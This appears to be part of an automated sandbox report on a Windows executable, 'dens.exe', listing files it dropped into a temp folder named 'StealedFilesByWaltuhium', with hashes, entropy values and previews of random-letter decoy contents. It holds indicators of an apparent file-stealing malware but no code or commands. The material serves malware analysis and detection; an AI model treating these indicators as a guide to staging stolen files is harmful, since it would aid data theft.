VRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Documents\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
